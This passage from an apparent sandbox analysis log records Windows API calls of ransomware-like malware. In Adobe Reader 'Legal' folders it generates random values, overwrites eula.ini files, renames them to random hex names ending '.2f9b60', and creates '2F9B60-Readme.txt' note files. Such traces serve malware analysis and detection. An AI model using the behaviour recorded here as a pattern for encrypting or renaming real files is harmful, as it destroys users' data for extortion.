_Dest=0x1b85f7f4, _Format="%c%c" | out: _Dest="7b") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f7f6, _Format="%c%c" | out: _Dest="2e") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f7f8, _Format="%c%c" | out: _Dest="92") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f7fa, _Format="%c%c" | out: _Dest="cf") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f7fc, _Format="%c%c" | out: _Dest="15") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f7fe, _Format="%c%c" | out: _Dest="a6") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f800, _Format="%c%c" | out: _Dest="5a") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f802, _Format="%c%c" | out: _Dest="3d") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f804, _Format="%c%c" | out: _Dest="1d") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f806, _Format="%c%c" | out: _Dest="c8") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f808, _Format="%c%c" | out: _Dest="e3") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f80a, _Format="%c%c" | out: _Dest="5b") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f80c, _Format="%c%c" | out: _Dest="99") returned 2 [0242.028] sprintf (in: _Dest=0x1b85f80e, _Format="%c%c" | out: _Dest="81") returned 2 [0242.028] RtlInitAnsiString (in: DestinationString=0x2434fe68, SourceString="ce837b2e92cf15a65a3d1dc8e35b9981" | out: DestinationString="ce837b2e92cf15a65a3d1dc8e35b9981") [0242.029] RtlAnsiStringToUnicodeString (in: DestinationString=0x2434fe38, SourceString="ce837b2e92cf15a65a3d1dc8e35b9981", AllocateDestinationString=1 | out: DestinationString="ce837b2e92cf15a65a3d1dc8e35b9981") returned 0x0 [0242.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce62230 [0242.029] wcscat (in: _Dest=0x2027bf50, _Source="ce837b2e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\ce837b2e") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\ce837b2e" [0242.029] wcscat (in: _Dest=0x2027bf50, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\ce837b2e.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\ce837b2e.2f9b60" [0242.029] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\ce837b2e.2f9b60", NtPathName=0x2434fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\ce837b2e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431116e0 [0243.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431116e0) returned 1 [0243.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4308f3f0) returned 1 [0243.025] NtQueryInformationFile (in: FileHandle=0x1eac, IoStatusBlock=0x2434fe78, FileInformation=0x2434fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2434fe78, FileInformation=0x2434fe88) returned 0x0 [0243.025] NtSetInformationFile (FileHandle=0x1eac, IoStatusBlock=0x2434fe78, FileInformation=0x2434fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bf50) returned 1 [0243.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62230) returned 1 [0243.361] FlushFileBuffers (hFile=0x1eac) returned 1 [0243.369] CloseHandle (hObject=0x1eac) returned 1 [0243.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad4a0 [0243.465] wcscpy (in: _Dest=0x202ad4a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" [0243.465] wcscat (in: _Dest=0x202ad4a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\2F9B60-Readme.txt" [0243.465] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\2f9b60-readme.txt")) returned 0xffffffff [0243.465] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 3799 os_tid = 0x10b0 [0227.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b86ce40 [0227.657] wcscpy (in: _Dest=0x1b86ce40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" [0227.657] wcscat (in: _Dest=0x1b86ce40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" [0227.657] wcscat (in: _Dest=0x1b86ce40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*" [0227.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d6a0 [0227.658] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431fa620 [0228.846] wcscmp (_String1=".", _String2=".") returned 0 [0228.846] FindNextFileW (in: hFindFile=0x431fa620, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.846] wcscmp (_String1="..", _String2=".") returned 1 [0228.846] wcscmp (_String1="..", _String2="..") returned 0 [0228.846] FindNextFileW (in: hFindFile=0x431fa620, lpFindFileData=0x2027d6a0 | out: lpFindFileData=0x2027d6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0228.846] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0228.846] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0228.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43106720 [0228.847] wcscpy (in: _Dest=0x43106720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" [0228.847] wcscat (in: _Dest=0x43106720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" [0228.847] wcscat (in: _Dest=0x43106720, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" [0228.847] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\eula.ini")) returned 0x20 [0228.847] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", dwFileAttributes=0x20) returned 1 [0228.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b18 [0228.850] GetFileSizeEx (in: hFile=0x1b18, lpFileSize=0x2377f860 | out: lpFileSize=0x2377f860*=1136) returned 1 [0228.850] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x46c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.850] ReadFile (in: hFile=0x1b18, lpBuffer=0x2377f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2377f828, lpOverlapped=0x0 | out: lpBuffer=0x2377f7e0*, lpNumberOfBytesRead=0x2377f828*=0x4, lpOverlapped=0x0) returned 1 [0229.057] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0cb0 [0229.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d90 [0229.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.058] NtQuerySystemTime (in: CurrentTime=0x2377f720 | out: CurrentTime=0x2377f720*=132462178330558000) returned 0x0 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x47645193 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x1a9d4e7f [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x12039091 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x5cf138fc [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x2fd8b446 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x6d89f91f [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x4c4c7b86 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x4c141317 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x78a1907a [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x63e845ee [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x66b350c9 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x2eccdddb [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x4a3d71f [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x42503a6f [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x54e18a9f [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x6adee65a [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x2c0db2c1 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x730a8344 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x389ba3d7 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x793b8284 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x71f88630 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x67b8d055 [0229.058] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x2c7adf95 [0229.059] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x180ff40a [0229.059] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x3872bbf [0229.059] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x35986657 [0229.059] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x2aab4404 [0229.059] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x465000ae [0229.059] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x2bc9a05b [0229.059] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0xe442d0d [0229.059] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x20f07ad2 [0229.059] RtlRandomEx (in: Seed=0x2377f710 | out: Seed=0x2377f710) returned 0x143219a0 [0229.069] ReadFile (in: hFile=0x1b18, lpBuffer=0x203fb690, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x2377f710, lpOverlapped=0x0 | out: lpBuffer=0x203fb690*, lpNumberOfBytesRead=0x2377f710*=0x470, lpOverlapped=0x0) returned 1 [0229.069] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.069] WriteFile (in: hFile=0x1b18, lpBuffer=0x20419710*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x2377f714, lpOverlapped=0x0 | out: lpBuffer=0x20419710*, lpNumberOfBytesWritten=0x2377f714*=0x470, lpOverlapped=0x0) returned 1 [0239.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bce0 [0239.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b020 [0239.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b020) returned 1 [0239.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20419710) returned 1 [0239.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fb690) returned 1 [0239.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0239.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f10) returned 1 [0239.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313b020 [0239.133] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.134] WriteFile (in: hFile=0x1b18, lpBuffer=0x1cebccf0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2377f830, lpOverlapped=0x0 | out: lpBuffer=0x1cebccf0*, lpNumberOfBytesWritten=0x2377f830*=0x102, lpOverlapped=0x0) returned 1 [0242.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0242.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0242.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0242.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0242.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603e0 [0242.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202603e0) returned 1 [0242.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202603e0 [0242.055] sprintf (in: _Dest=0x202603e0, _Format="%c%c" | out: _Dest="8d") returned 2 [0242.055] sprintf (in: _Dest=0x202603e2, _Format="%c%c" | out: _Dest="9e") returned 2 [0242.055] sprintf (in: _Dest=0x202603e4, _Format="%c%c" | out: _Dest="e5") returned 2 [0242.055] sprintf (in: _Dest=0x202603e6, _Format="%c%c" | out: _Dest="9e") returned 2 [0242.055] sprintf (in: _Dest=0x202603e8, _Format="%c%c" | out: _Dest="a1") returned 2 [0242.055] sprintf (in: _Dest=0x202603ea, _Format="%c%c" | out: _Dest="d6") returned 2 [0242.055] sprintf (in: _Dest=0x202603ec, _Format="%c%c" | out: _Dest="38") returned 2 [0242.055] sprintf (in: _Dest=0x202603ee, _Format="%c%c" | out: _Dest="94") returned 2 [0242.055] sprintf (in: _Dest=0x202603f0, _Format="%c%c" | out: _Dest="41") returned 2 [0242.055] sprintf (in: _Dest=0x202603f2, _Format="%c%c" | out: _Dest="24") returned 2 [0242.056] sprintf (in: _Dest=0x202603f4, _Format="%c%c" | out: _Dest="b9") returned 2 [0242.056] sprintf (in: _Dest=0x202603f6, _Format="%c%c" | out: _Dest="a8") returned 2 [0242.056] sprintf (in: _Dest=0x202603f8, _Format="%c%c" | out: _Dest="01") returned 2 [0242.056] sprintf (in: _Dest=0x202603fa, _Format="%c%c" | out: _Dest="07") returned 2 [0242.056] sprintf (in: _Dest=0x202603fc, _Format="%c%c" | out: _Dest="0f") returned 2 [0242.056] sprintf (in: _Dest=0x202603fe, _Format="%c%c" | out: _Dest="ad") returned 2 [0242.056] RtlInitAnsiString (in: DestinationString=0x2377f8a8, SourceString="8d9ee59ea1d638944124b9a801070fad" | out: DestinationString="8d9ee59ea1d638944124b9a801070fad") [0242.056] RtlAnsiStringToUnicodeString (in: DestinationString=0x2377f878, SourceString="8d9ee59ea1d638944124b9a801070fad", AllocateDestinationString=1 | out: DestinationString="8d9ee59ea1d638944124b9a801070fad") returned 0x0 [0242.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce622d0 [0242.056] wcscat (in: _Dest=0x2027b2d0, _Source="8d9ee59e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\8d9ee59e") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\8d9ee59e" [0242.056] wcscat (in: _Dest=0x2027b2d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\8d9ee59e.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\8d9ee59e.2f9b60" [0242.057] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\8d9ee59e.2f9b60", NtPathName=0x2377f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\8d9ee59e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43112220 [0243.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43112220) returned 1 [0243.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4308fcb0) returned 1 [0243.033] NtQueryInformationFile (in: FileHandle=0x1b18, IoStatusBlock=0x2377f8b8, FileInformation=0x2377f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2377f8b8, FileInformation=0x2377f8c8) returned 0x0 [0243.033] NtSetInformationFile (FileHandle=0x1b18, IoStatusBlock=0x2377f8b8, FileInformation=0x2377f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b2d0) returned 1 [0243.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce622d0) returned 1 [0243.377] FlushFileBuffers (hFile=0x1b18) returned 1 [0243.386] CloseHandle (hObject=0x1b18) returned 1 [0243.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202acfd0 [0243.476] wcscpy (in: _Dest=0x202acfd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" [0243.476] wcscat (in: _Dest=0x202acfd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\2F9B60-Readme.txt" [0243.476] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\2f9b60-readme.txt")) returned 0xffffffff [0243.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 3800 os_tid = 0x108c [0227.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b86c3c0 [0227.659] wcscpy (in: _Dest=0x1b86c3c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" [0227.659] wcscat (in: _Dest=0x1b86c3c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" [0227.659] wcscat (in: _Dest=0x1b86c3c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*" [0227.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f3e0 [0227.659] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0229.079] wcscmp (_String1=".", _String2=".") returned 0 [0229.079] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.079] wcscmp (_String1="..", _String2=".") returned 1 [0229.079] wcscmp (_String1="..", _String2="..") returned 0 [0229.079] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81c9d640, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0229.079] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0229.079] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0229.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae1d0 [0229.080] wcscpy (in: _Dest=0x202ae1d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" [0229.080] wcscat (in: _Dest=0x202ae1d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" [0229.080] wcscat (in: _Dest=0x202ae1d0, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini" [0229.080] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\eula.ini")) returned 0x20 [0229.080] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini", dwFileAttributes=0x20) returned 1 [0229.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini" (normalized: "c:\\program files 